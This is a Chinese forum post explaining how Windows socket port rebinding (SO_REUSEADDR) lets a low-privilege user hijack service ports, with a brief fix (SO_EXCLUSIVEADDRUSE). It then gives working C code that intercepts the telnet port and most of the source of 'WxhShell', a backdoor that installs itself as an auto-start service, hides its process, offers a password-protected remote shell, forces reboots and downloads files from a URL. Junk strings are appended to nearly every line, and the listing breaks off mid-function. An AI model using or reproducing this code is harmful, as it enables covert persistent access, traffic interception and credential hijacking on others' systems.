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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: !#}7{  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Phs-(3  
X3B{8qx_>  
  saddr.sin_family = AF_INET; j*3}1L4P  
sbS~N*{E  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ROdK8*jL  
_^\$" nw  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ][7p+IsB  
F]_cbM{8/  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 a$JLc a  
\ZH&LPAY  
  这意味着什么?意味着可以进行如下的攻击: qZ X/@Yxz  
s'u(B]E  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。  &`Ck  
lZWX7FO'  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) OYmi?y\  
8)wt$b  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 s9j7Psd  
PDP[5q r  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  "A[ b rG  
|d}MxS`^  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 2UadV_s+s  
`78V%\  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 .C bGDZ  
1-VT}J(  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 fly,-$K>LO  
2R.2D'4)`  
  #include UVEz;<5@\  
  #include J4aB Pq`  
  #include q_t4OrLr=  
  #include    ?c#$dc"  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ,pt%) c  
  int main() M+xdHBg  
  { R_kQPP  
  WORD wVersionRequested; Q@QFV~  
  DWORD ret; s;1h-Oq (  
  WSADATA wsaData; :&w{\-0{  
  BOOL val; jbte *Ae  
  SOCKADDR_IN saddr; n$["z w  
  SOCKADDR_IN scaddr; %y<]Yzv.  
  int err; jirbUl  
  SOCKET s; ]}PV"|#K{c  
  SOCKET sc; \2kPq>hu  
  int caddsize; ^g>1U5c  
  HANDLE mt; ~?Omy8#  
  DWORD tid;   <J{'o`{  
  wVersionRequested = MAKEWORD( 2, 2 ); I+;-p]~  
  err = WSAStartup( wVersionRequested, &wsaData ); L%cVykWY"  
  if ( err != 0 ) { vqNsZ 8|`  
  printf("error!WSAStartup failed!\n"); 5#2 F1NX  
  return -1; jC, FG'P  
  } G|u3UhyB  
  saddr.sin_family = AF_INET; BNucc']  
   %NARyz  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Qt+:4{He  
b,^*mx=  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ;<wS+4,  
  saddr.sin_port = htons(23); mpay^.(%  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -J0WUN$2*  
  { #exss=as/  
  printf("error!socket failed!\n"); 7Z,/g|s}z  
  return -1; 1np^(['ih  
  } U 4,2br>  
  val = TRUE; TMVryb  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 = +Xc4a  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) KEr\nKT1  
  { Ufid%T'  
  printf("error!setsockopt failed!\n"); s0W2?!>)  
  return -1; O#kq^C}  
  } =VP=|g  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 2+"r~#K*  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 }_OM$nzj  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 KeBQH8A1N  
5g ;ac~g  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) /VTM 9)u  
  { NAFsFngqH  
  ret=GetLastError(); ~H6;I$e[  
  printf("error!bind failed!\n"); XvGA|Ekf<  
  return -1; %y`7);.q  
  } @y|_d  
  listen(s,2); =y]$0nh  
  while(1) 9w4sSj`  
  { ?Dsm~bkX[  
  caddsize = sizeof(scaddr); -$a>f4]  
  //接受连接请求 kCP$I732  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); "^CXY3v  
  if(sc!=INVALID_SOCKET) mZvG|P$}  
  { %i0\1hhV<  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); @xWdO,#  
  if(mt==NULL) ,"?A2n-qO  
  { w~\%vXla  
  printf("Thread Creat Failed!\n"); 9IZu$-  
  break; QLq@u[A  
  } 8Jr?ZDf`  
  } 8<#U9]  
  CloseHandle(mt); )NW6?Pu"  
  } ]<w:V`(  
  closesocket(s); 5\4g>5PD  
  WSACleanup(); =hH.zrI6e  
  return 0; 5z/Er".P  
  }   )@g;j>  
  DWORD WINAPI ClientThread(LPVOID lpParam) 2XSHZ|;  
  { e$/B_o7(  
  SOCKET ss = (SOCKET)lpParam;  u\e\'\  
  SOCKET sc; zA+@FR?  
  unsigned char buf[4096]; !]?$f=  
  SOCKADDR_IN saddr; i u]&;  
  long num; tpf7_YP_!-  
  DWORD val; +C{p%`<  
  DWORD ret; A}VYb:u/  
  //如果是隐藏端口应用的话,可以在此处加一些判断 8HErE< _(  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发    Qo0H  
  saddr.sin_family = AF_INET; r0dDHj~F  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 6L4$vJ  
  saddr.sin_port = htons(23); M:SO2Czz  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) vA%^`5  
  { \F6LZZ2Lv  
  printf("error!socket failed!\n"); j|_E$L A\  
  return -1; e 9$C#D> D  
  } %Z]'!X  
  val = 100; d5j_6X  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) h#}YKWL  
  { arZ@3]X%a  
  ret = GetLastError(); ,TC;{ $O5  
  return -1; x8#ODuH  
  } SAv<&  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `k{& /]  
  { /X8 <C=}  
  ret = GetLastError(); 7,$z;Lr0S  
  return -1; 2&(sa0*y  
  } ?/#}ZZK^  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) quu*xJ;Ci  
  { yubSj*  
  printf("error!socket connect failed!\n"); =!MY4&YX  
  closesocket(sc); P>Qpv Sd_#  
  closesocket(ss); %"$@%"8;3  
  return -1; WOytxE  
  } O9h+Q\0\W  
  while(1) gPC@Yy  
  { W0`Gc {  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 H:{7X1bV  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Xh+ia#K  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 hZ\+FOx;  
  num = recv(ss,buf,4096,0); 8nNsrat  
  if(num>0) C 'mL&  
  send(sc,buf,num,0); Hgc=M  
  else if(num==0) Oxx^[ju~  
  break; ,w)p"[^b  
  num = recv(sc,buf,4096,0); ,d,\-x-+/  
  if(num>0) f^Bc  
  send(ss,buf,num,0); dfj\RIV8  
  else if(num==0) 9l/EjF^  
  break; gQWd&)'muf  
  } q 2? X"!  
  closesocket(ss); V9 }t0$LN  
  closesocket(sc); n]!fO 6kj  
  return 0 ; mry N}  
  }  $6>?;  
6gO9 MQY  
GJ(d&o8  
========================================================== CZ{k@z`r  
`(4pu6uT  
下边附上一个代码,,WXhSHELL XR+3j/zEQ  
+FFG#6e  
========================================================== <&!]K?Q9i  
lT8\}hNI+  
#include "stdafx.h" E">T*ao  
VrP}#3I  
#include <stdio.h> n]CbDbNw7)  
#include <string.h> 5ua?I9fY  
#include <windows.h> ,5k-.Md>2*  
#include <winsock2.h> I0= NaZ7  
#include <winsvc.h> "i)Yvh[y  
#include <urlmon.h> do/)~9[4\  
"E!mva*NU  
#pragma comment (lib, "Ws2_32.lib") N1EezC'^  
#pragma comment (lib, "urlmon.lib") f`<FT'A  
b%(6EiUA  
#define MAX_USER   100 // 最大客户端连接数 Zy"=y+e!E;  
#define BUF_SOCK   200 // sock buffer tB(4Eq \  
#define KEY_BUFF   255 // 输入 buffer WT3gNNx|  
),^eA  
#define REBOOT     0   // 重启 6iezLG 5  
#define SHUTDOWN   1   // 关机 PFSLyV*  
1'w:`/_  
#define DEF_PORT   5000 // 监听端口 yWIm&Q:  
Xo5$X7m  
#define REG_LEN     16   // 注册表键长度 h\[\\m O  
#define SVC_LEN     80   // NT服务名长度 AD5) .}[F  
WPuz]Ty  
// 从dll定义API wNCCH55Pt  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); v@ C,RP9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 7()?C}Ni-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); gz#4{iT~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5rxA<G s  
*6ZCDm&N  
// wxhshell配置信息 y f1CXldi  
struct WSCFG { ;1AG3P'  
  int ws_port;         // 监听端口 EYS>0Y  
  char ws_passstr[REG_LEN]; // 口令 ]L_w$ev'  
  int ws_autoins;       // 安装标记, 1=yes 0=no pR o s{Uq"  
  char ws_regname[REG_LEN]; // 注册表键名 `|e!Kq?#Q  
  char ws_svcname[REG_LEN]; // 服务名 #~ v4caNx  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 H. ,;-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 h=VqxGC&  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 dXvt6kF  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 4)-)#`K  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" nY-* i!H  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 JyBp-ii  
9>*c_  
}; czWw~'."  
4 2) mM#  
// default Wxhshell configuration *b(wVvz  
struct WSCFG wscfg={DEF_PORT, 4n( E;!s  
    "xuhuanlingzhe", \|= mD}N  
    1, n$+M%}/f  
    "Wxhshell", Jn}n*t3  
    "Wxhshell", dJ3IUe  
            "WxhShell Service", :>3=gex@^0  
    "Wrsky Windows CmdShell Service", U5ZX78>a  
    "Please Input Your Password: ", qc-,+sn(  
  1, 5fjd{Y[k  
  "http://www.wrsky.com/wxhshell.exe", !|{IVm/J  
  "Wxhshell.exe" mNmUUj9z  
    }; {a q9i  
eBr4O i  
// 消息定义模块 6 DF  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >wON\N0V_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; bi[7!VQf  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <>&=n+i  
char *msg_ws_ext="\n\rExit."; BR_TykP  
char *msg_ws_end="\n\rQuit."; B&KL2&Z~Pq  
char *msg_ws_boot="\n\rReboot..."; )$M,Ul  
char *msg_ws_poff="\n\rShutdown..."; Un=a fX?j  
char *msg_ws_down="\n\rSave to "; m)>&ZIXa  
T|4snU2M  
char *msg_ws_err="\n\rErr!"; Z| 6{T  
char *msg_ws_ok="\n\rOK!"; qt?*MyfV  
?Hz2-Cn  
char ExeFile[MAX_PATH]; &_-](w`  
int nUser = 0; LK7Xw3  
HANDLE handles[MAX_USER]; ETw]! br  
int OsIsNt; t%0?N<9YkU  
I*)VZW  
SERVICE_STATUS       serviceStatus; >9K//co"of  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; n]? WCG}cd  
S q@H  
// 函数声明 bY8GA  
int Install(void); M?&zY "c  
int Uninstall(void); Buc_9Kzw<+  
int DownloadFile(char *sURL, SOCKET wsh); 19u =W(  
int Boot(int flag); UPh=+s #Q  
void HideProc(void); 4iX-(ir,  
int GetOsVer(void); je%M AgW`  
int Wxhshell(SOCKET wsl); P~7.sM  
void TalkWithClient(void *cs); H[&@}v,L  
int CmdShell(SOCKET sock); >IvBU M[Rt  
int StartFromService(void); F@W*\3)  
int StartWxhshell(LPSTR lpCmdLine); '5.\#=S1  
}0/a\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); F 1W+o?B  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); )c<6Sfp^B  
aq>?vti1D  
// 数据结构和表定义 4MvC]_&  
SERVICE_TABLE_ENTRY DispatchTable[] = Ej(2w Q  
{ h[Tk; h  
{wscfg.ws_svcname, NTServiceMain}, ] f 7#N  
{NULL, NULL}  -;c  
}; 6SEltm(  
yY=<'{!  
// 自我安装 c[(Pg%  
int Install(void) n~r 9!m$<  
{ wq0aF"k  
  char svExeFile[MAX_PATH]; N+Sq}hI  
  HKEY key; s;.=5wcvi?  
  strcpy(svExeFile,ExeFile); R,0Oq5  
$Xf(^K  
// 如果是win9x系统,修改注册表设为自启动 G2Qjoe`Uc  
if(!OsIsNt) { DZ`k[Z.VZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =Viy^ieN$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V|?WF&  
  RegCloseKey(key); mUXk9X%n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sg?@qc=g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ZXXiL#^  
  RegCloseKey(key); #uvJH8)D  
  return 0; "dCzWFet  
    } ;bjnL>eW  
  } .]t5q%}j  
} 4O$2]D.\  
else { v|@1(  
A" !n1P  
// 如果是NT以上系统,安装为系统服务 x mo&![P  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ZwJciT!_~  
if (schSCManager!=0) *g7DPN$aQ  
{ gY5l.&  
  SC_HANDLE schService = CreateService o0Gx%99'  
  ( ;sQbn|=e"  
  schSCManager, @EZ>f5IO+  
  wscfg.ws_svcname, C3"&sdLb$  
  wscfg.ws_svcdisp, $G";2(-k  
  SERVICE_ALL_ACCESS, gA:TL{X0  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , bx;f`8SN  
  SERVICE_AUTO_START, qu{mqkfN>  
  SERVICE_ERROR_NORMAL, J_"3UZ~&  
  svExeFile, {BOLP E-  
  NULL,  rz  
  NULL, (2txM"Dja  
  NULL, PZOORjF8A  
  NULL, ~"7J}[i 5  
  NULL fPQ|e"?  
  ); F=Y S^  
  if (schService!=0) $Z6D:"K  
  { f%Ke8'&  
  CloseServiceHandle(schService); UxqWnHH.`  
  CloseServiceHandle(schSCManager); Q1V2pP+=@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /~hbOs/ L  
  strcat(svExeFile,wscfg.ws_svcname); 2VYvO=KA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { UKs$W`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); g [L  
  RegCloseKey(key); PrnrXl S  
  return 0; n`<S&KP|  
    } eV;me>,  
  } G11cNr>*  
  CloseServiceHandle(schSCManager); 2ksA.,UB^9  
} )Vk:YL++  
} qi\n]I  
rO^xz7K^  
return 1; 2%YXc|gGT  
} U$J5r+>  
I:&# U$  
// 自我卸载 $c =&0yt5  
int Uninstall(void) S aNN;X0  
{ Bl4 dhBZoO  
  HKEY key; fN[n>%)VO<  
{j@+h%sF>+  
if(!OsIsNt) { -Enbcz(B  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I~RcOiL)  
  RegDeleteValue(key,wscfg.ws_regname); Phlk1*1n  
  RegCloseKey(key); \(u@F<s-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { WOb8 "*OM  
  RegDeleteValue(key,wscfg.ws_regname); # #>a&,  
  RegCloseKey(key); ptR  
  return 0; 2PBepgQyPU  
  } !%62Phai  
} ;1E_o  
} 7A0dl}:  
else { O5MDGg   
B9W/bJ6%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "::9aYd!  
if (schSCManager!=0) ~d+O/:=K_  
{ .0 X$rX=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); lC{L6&T  
  if (schService!=0) 04\Ta  
  { ..$>7y}  
  if(DeleteService(schService)!=0) { a7 )@BzF#  
  CloseServiceHandle(schService); R0IF'  
  CloseServiceHandle(schSCManager); M,G8*HI"  
  return 0; ` ,-STIh)  
  } Oga1u  
  CloseServiceHandle(schService); }200g_^  
  } #M:B3C!ouY  
  CloseServiceHandle(schSCManager); 1^sbT[%R  
} I~k=3,7<  
} 3_U\VGm  
enPYj.*/0  
return 1; Hdna{@~  
} Nh:4ys!P  
E7 L bSZ  
// 从指定url下载文件 hg&u0AQ2  
int DownloadFile(char *sURL, SOCKET wsh) hXnw..0"  
{ gix>DHq$k  
  HRESULT hr; Xj;2h{#s  
char seps[]= "/"; Cz[5Ug'V  
char *token; ~Jxlj(" 0(  
char *file; B3 .X}ys#  
char myURL[MAX_PATH]; `&,_xUA  
char myFILE[MAX_PATH]; "c EvFY  
8J^d7uC  
strcpy(myURL,sURL); 0#]!#1utg  
  token=strtok(myURL,seps); 8E-Ip>{>  
  while(token!=NULL) APOea  
  { _KxX&THaj  
    file=token; i8eA_Q  
  token=strtok(NULL,seps); !|(Ao"]  
  } UL ck  
oE5;|x3  
GetCurrentDirectory(MAX_PATH,myFILE); o[imNy~~  
strcat(myFILE, "\\"); 4V>vg2 d  
strcat(myFILE, file); K"I{\/x@  
  send(wsh,myFILE,strlen(myFILE),0); D/*vj|  
send(wsh,"...",3,0); (I!1sE!?1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8nf4Jk8r  
  if(hr==S_OK) \`&xprqAw  
return 0; %cd]xQpCp  
else i _8zjj7  
return 1; k3 /4Bt G/  
wvX"D0eVn  
} a YR\<02  
9M nem*  
// 系统电源模块 CP@o,v-  
int Boot(int flag) b sMC#xT  
{ |&(H^<+Xp  
  HANDLE hToken; o KlF5I  
  TOKEN_PRIVILEGES tkp; Qw}xGlF,  
ko>M&/^  
  if(OsIsNt) { pj j}K  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); O/nqNQ?<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); R rxRa[{Z  
    tkp.PrivilegeCount = 1; ^|r`"gOJ3  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {#0Tl  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); % hNn%Oy:E  
if(flag==REBOOT) { <w;D$l}u  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) L#[HnsLp_  
  return 0; G1A$PR  
} Dn: Yi8=  
else { VDPxue  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) M Ey1~h/  
  return 0; @H3|u`6V  
} s^obJl3  
  } I? A~zigO  
  else { 7/ 4~>D&-b  
if(flag==REBOOT) { RlPjki"Mg  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) l(.7t'  
  return 0; 2k%Bl+I  
} +7`u9j.  
else { l;XUh9RF`A  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) FU^Y{sbDg  
  return 0; /Ql6]8.P  
} VN?<[#ij  
} sek6+#|=  
h!ZZ2[  
return 1; ER/\ +Z#Z  
} B>1M$3`E  
0H; "5  
// win9x进程隐藏模块 R,uJK)m  
void HideProc(void) Wnb)*pPP  
{ < JGYr 4V  
pVdhj^n  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); kWI]fZ_n  
  if ( hKernel != NULL ) Qh/lT$g  
  { TeOFAIU  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); FW/6{tm  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1a \=0=[  
    FreeLibrary(hKernel); M_yZR^;^-  
  } _CHKh*KHML  
|.^^|@+  
return; FLw[Mg:L  
} AsV8k _qZL  
GcPB'`!M  
// 获取操作系统版本 L!`*R)I45  
int GetOsVer(void) }ZxW"5oq  
{ jc3ExOH  
  OSVERSIONINFO winfo; |L*6x S[  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Kw)C{L5a  
  GetVersionEx(&winfo); w;@`Yi.WQ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) goG] WGVr  
  return 1; bDxPgb7N=  
  else 1 OuSH+  
  return 0; ^Z#<tN;  
} ]%b0[7[  
?U7&R%Lh`  
// 客户端句柄模块 n\~"Wim<b  
int Wxhshell(SOCKET wsl) }S Y`KoC1  
{ s9^"wN YQ  
  SOCKET wsh; xKRfl1  
  struct sockaddr_in client; ZKVp[A  
  DWORD myID; [I#Q  
b=6ZdN1  
  while(nUser<MAX_USER) f J,8g/f8  
{ z1z =P%WK  
  int nSize=sizeof(client); c`Lpqs`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <h)deB+}  
  if(wsh==INVALID_SOCKET) return 1; rCV$N&rK  
LX&=uv%-^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !H2C9l:rd  
if(handles[nUser]==0) '5&B~ 1&  
  closesocket(wsh); 2n<qAl$t  
else !&W"f#_Z  
  nUser++; Yqq$kln  
  } QSlf=VK*y  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); K*hf(w9="%  
XyN`BDFi  
  return 0; yTMGISX5  
} ?)i6:76(  
gME:\ud$  
// 关闭 socket s2,`eV  
void CloseIt(SOCKET wsh) Py(wT%w  
{ sIP6GWK$  
closesocket(wsh); LWp?U!N  
nUser--; LGdf_M-f  
ExitThread(0); 0~LnnD N  
} &q kl*#]  
wpPxEp/  
// 客户端请求句柄 c/,|[ t  
void TalkWithClient(void *cs) + xkMW%e<  
{ zwF7DnW<<  
6"#Tvj~-8  
  SOCKET wsh=(SOCKET)cs; JC1BUheeb  
  char pwd[SVC_LEN]; Y+S~b  
  char cmd[KEY_BUFF]; sZ\i(eIU  
char chr[1]; ^^W`Lh%9  
int i,j; dW] Ej"W  
:{e`$kz  
  while (nUser < MAX_USER) { .>cL/KaP  
* S+7BdP  
if(wscfg.ws_passstr) { 5wVi{P5+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p)AvG;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Xqq?S  
  //ZeroMemory(pwd,KEY_BUFF); c"jhbH!u4  
      i=0; ** "s~  
  while(i<SVC_LEN) { Lt ZWs0l0  
`s]zk {x  
  // 设置超时 )Q N=>J  
  fd_set FdRead; xfZ9&g  
  struct timeval TimeOut; 3n=cw2FG  
  FD_ZERO(&FdRead); uvAy#,  
  FD_SET(wsh,&FdRead); %E=,H?9&>  
  TimeOut.tv_sec=8; Y?q*hS0!H  
  TimeOut.tv_usec=0; vFkyfX(   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); q, 19NZ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); U~QCN[gh  
YQw/[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LP-KD  
  pwd=chr[0]; (*@~HF,t=  
  if(chr[0]==0xd || chr[0]==0xa) { =&<$I  
  pwd=0; 1Rb<(%   
  break; N NXwT0t  
  } tI6USN%  
  i++; }G0.Lq+a  
    } Q{)F$]w  
CuGOjQ-k~  
  // 如果是非法用户,关闭 socket 5>^ W}0s  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Hr64M0V3B  
} HhT8YH  
](( >i%%~  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &bRxy`ZH  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e&VR>VJEA  
;gw!;!T  
while(1) { f%{ ag  
WG!;,~f>o  
  ZeroMemory(cmd,KEY_BUFF); Tef3 Z6  
^?l-YnQqm?  
      // 自动支持客户端 telnet标准   "=0 lcb C  
  j=0; k kuQ"^<J  
  while(j<KEY_BUFF) { r5$?4t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /A`zy  
  cmd[j]=chr[0]; QK/+*hr;  
  if(chr[0]==0xa || chr[0]==0xd) { pOe`*2[  
  cmd[j]=0; Eo3Aak o  
  break; D -\'P31  
  } "Y J;-$rb  
  j++; [Z`:1_^0}  
    } a(QZZq};S  
hSf#;=9'  
  // 下载文件 d$C|hT  
  if(strstr(cmd,"http://")) { B7QtB3bn  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); lr= !:D=K  
  if(DownloadFile(cmd,wsh)) Bo\dt@0;  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); R<YYf^y  
  else 8f`b=r(a>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 113x9+w[  
  } , $F0D  
  else { X +  
pkMON}"mj  
    switch(cmd[0]) { I3y4O^?  
  Bjrv;)XH  
  // 帮助 lPSDY&`P  
  case '?': { u:>3j,Cs  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); yqc(32rF!  
    break; $oBZe>s .  
  } as47eZ0\  
  // 安装 #K~j9DuR  
  case 'i': { XQoT},C  
    if(Install()) ?9ho|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^T J   
    else ""KN?qh9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Xcpm?aTo  
    break; 6}FDLBA  
    } x@R A1&c  
  // 卸载 CjukD%>sde  
  case 'r': { oL/^[TXjH  
    if(Uninstall()) XjM)/-w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A2FU}Ym0=  
    else 2n r UE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H_r'q9@<>  
    break; ZN]c>w[ )I  
    } >Ti2E+}[M  
  // 显示 wxhshell 所在路径 0Y`tj  
  case 'p': { w*R-E4S?2  
    char svExeFile[MAX_PATH]; a/`Yh>ou  
    strcpy(svExeFile,"\n\r"); |ssIUJ  
      strcat(svExeFile,ExeFile); 1&L){hg  
        send(wsh,svExeFile,strlen(svExeFile),0); \36;csu  
    break; u z2s-,  
    } v/6,eIz  
  // 重启 CoN/L`.SN  
  case 'b': { z7}zf@Y-qv  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >Ezwl5b  
    if(Boot(REBOOT)) Xr6 !b:UX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CO+jB  
    else { .7^-*HT}  
    closesocket(wsh); 1X}Tp\e  
    ExitThread(0); a9_KQ=&CI  
    } JBJ7k19;  
    break; ]O ` [v  
    } <UL|%9=~  
  // 关机 9<r}s  
  case 'd': { p%y\`Nlgdx  
